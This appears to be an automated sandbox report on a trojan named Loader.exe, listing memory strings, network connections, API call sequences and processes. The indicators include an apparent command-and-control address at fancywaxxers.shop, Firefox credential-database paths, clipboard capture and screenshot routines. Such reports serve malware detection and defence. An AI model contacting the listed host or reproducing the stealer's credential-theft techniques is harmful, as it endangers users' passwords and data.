Source: Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Loader.exe, 00000006.00000002.3527107091.000000000329E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: Loader.exe, 00000006.00000002.3527107091.000000000329E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apim
Source: Loader.exe, 00000006.00000002.3527107091.0000000003219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apitd
Source: Loader.exe, 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop:443/api4p.default-release/key4.dbPK
Source: Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: Loader.exe, 00000006.00000003.3493201418.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Loader.exe, 00000006.00000003.3521344950.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Loader.exe, 00000006.00000003.3521344950.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Loader.exe, 00000006.00000003.3493201418.00000000059DF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3508198690.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3508412726.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3493674605.00000000059D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Loader.exe, 00000006.00000003.3493674605.00000000059B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Loader.exe, 00000006.00000003.3493201418.00000000059DF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3508198690.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3508412726.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3493674605.00000000059D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Loader.exe, 00000006.00000003.3493674605.00000000059B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Loader.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: Loader.exe, 00000006.00000003.3521823674.0000000005989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Loader.exe, 00000006.00000003.3490854232.00000000059CC000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3490986660.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Loader.exe, 00000006.00000003.3521344950.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Loader.exe, 00000006.00000003.3521344950.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Loader.exe, 00000006.00000003.3521344950.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Loader.exe, 00000006.00000003.3521344950.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Loader.exe, 00000006.00000003.3521344950.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:50013 version: TLS 1.2

Source: C:\Users\user\Desktop\Loader.exe

Code function: 6_2_00431E50 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

6_2_00431E50

Source: C:\Users\user\Desktop\Loader.exe

Code function: 6_2_00431E50 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

6_2_00431E50

Source: C:\Users\user\Desktop\Loader.exe

Code function: 6_2_004324D2 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

6_2_004324D2

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002C0040	0_2_002C0040
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002B6107	0_2_002B6107
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002CB57E	0_2_002CB57E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002BA962	0_2_002BA962
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002CBD79	0_2_002CBD79
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002CDFC2	0_2_002CDFC2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002C0040	6_2_002C0040
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002B6107	6_2_002B6107
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002CB57E	6_2_002CB57E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002BA962	6_2_002BA962
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002CBD79	6_2_002CBD79
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002CDFC2	6_2_002CDFC2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004210F0	6_2_004210F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00437120	6_2_00437120
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0040C4E7	6_2_0040C4E7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00408720	6_2_00408720
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0040BB4E	6_2_0040BB4E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00418D53	6_2_00418D53
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00417F6B	6_2_00417F6B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00416040	6_2_00416040
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00426060	6_2_00426060
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0042800A	6_2_0042800A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041B0F0	6_2_0041B0F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0042E08E	6_2_0042E08E
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0040E144	6_2_0040E144
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00429134	6_2_00429134
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00406190	6_2_00406190
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041719D	6_2_0041719D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004251A0	6_2_004251A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041623C	6_2_0041623C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004092C0	6_2_004092C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004222D9	6_2_004222D9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041E2F0	6_2_0041E2F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004302F0	6_2_004302F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004172F5	6_2_004172F5
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00404290	6_2_00404290
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0042C2BA	6_2_0042C2BA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041A300	6_2_0041A300
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00438320	6_2_00438320
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041B3F0	6_2_0041B3F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0042739B	6_2_0042739B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00418448	6_2_00418448
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00416450	6_2_00416450
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00407400	6_2_00407400
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043E400	6_2_0043E400
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0042B420	6_2_0042B420
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004384B4	6_2_004384B4
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00412580	6_2_00412580
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0040E59B	6_2_0040E59B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00419612	6_2_00419612
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00406620	6_2_00406620
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00436630	6_2_00436630
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00424690	6_2_00424690
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00417778	6_2_00417778
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041C700	6_2_0041C700
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043E700	6_2_0043E700
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00409720	6_2_00409720
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041D720	6_2_0041D720
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00428725	6_2_00428725
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00415798	6_2_00415798
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004207B0	6_2_004207B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043A7B0	6_2_0043A7B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0042D826	6_2_0042D826
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00428824	6_2_00428824
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041682D	6_2_0041682D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004278D2	6_2_004278D2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004038E0	6_2_004038E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00436890	6_2_00436890
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004058A0	6_2_004058A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00426921	6_2_00426921
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004089C0	6_2_004089C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0040A9C0	6_2_0040A9C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_004259B0	6_2_004259B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043D9B0	6_2_0043D9B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00411A5B	6_2_00411A5B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00437A6B	6_2_00437A6B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041DA00	6_2_0041DA00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043EA10	6_2_0043EA10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00417778	6_2_00417778
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043DAA0	6_2_0043DAA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043BABE	6_2_0043BABE
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041FB52	6_2_0041FB52
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0042EB57	6_2_0042EB57
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00423B22	6_2_00423B22
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043DBD0	6_2_0043DBD0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00421BE0	6_2_00421BE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043ABF0	6_2_0043ABF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0042BB87	6_2_0042BB87
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00437B90	6_2_00437B90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00431C00	6_2_00431C00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00428C90	6_2_00428C90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043ED50	6_2_0043ED50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00436D60	6_2_00436D60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00434D6B	6_2_00434D6B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00426DB3	6_2_00426DB3
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0040AE70	6_2_0040AE70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041DE10	6_2_0041DE10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00425E30	6_2_00425E30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0040EEE0	6_2_0040EEE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00402EE0	6_2_00402EE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0042BEF5	6_2_0042BEF5
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0041CEA0	6_2_0041CEA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00435F78	6_2_00435F78
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_00422FDB	6_2_00422FDB
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043AF80	6_2_0043AF80

Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00407F90 appears 49 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 002B6620 appears 94 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 002BE8A8 appears 42 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00414A70 appears 68 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 002C32AD appears 34 times

Source: C:\Users\user\Desktop\Loader.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7476 -s 136

Source: Loader.exe

Static PE information: invalid certificate

Source: Loader.exe, 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Loader.exe
Source: Loader.exe, 00000000.00000002.3527225146.000000000313E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Loader.exe
Source: Loader.exe, 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Loader.exe
Source: Loader.exe, 00000006.00000003.3463761867.0000000004C7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Loader.exe
Source: Loader.exe	Binary or memory string: OriginalFilenameMuiUnattend.exej% vs Loader.exe

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Loader.exe	Static PE information: Section: .bss ZLIB complexity 1.000333782783418
Source: Loader.exe	Static PE information: Section: .bss ZLIB complexity 1.000333782783418

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/4@1/1

Source: C:\Users\user\Desktop\Loader.exe

Code function: 6_2_00437120 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

6_2_00437120

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7476
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\78a31fe4-c08e-4f82-b625-9d6e6fd0d46b

Jump to behavior

Source: Loader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Loader.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Loader.exe, 00000006.00000003.3492831262.00000000059B7000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000006.00000003.3493949331.0000000005985000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Loader.exe

ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\Loader.exe

File read: C:\Users\user\Desktop\Loader.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7476 -s 136
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Loader.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: Loader.exe

Static PE information: real checksum: 0xe2778 should be: 0xe006d

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_002B6743 push ecx; ret	0_2_002B6756
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_002B6743 push ecx; ret	6_2_002B6756
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043D960 push eax; mov dword ptr [esp], 30333245h	6_2_0043D961
Source: C:\Users\user\Desktop\Loader.exe	Code function: 6_2_0043AB40 push eax; mov dword ptr [esp], 0704050Ah	6_2_0043AB4E

Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
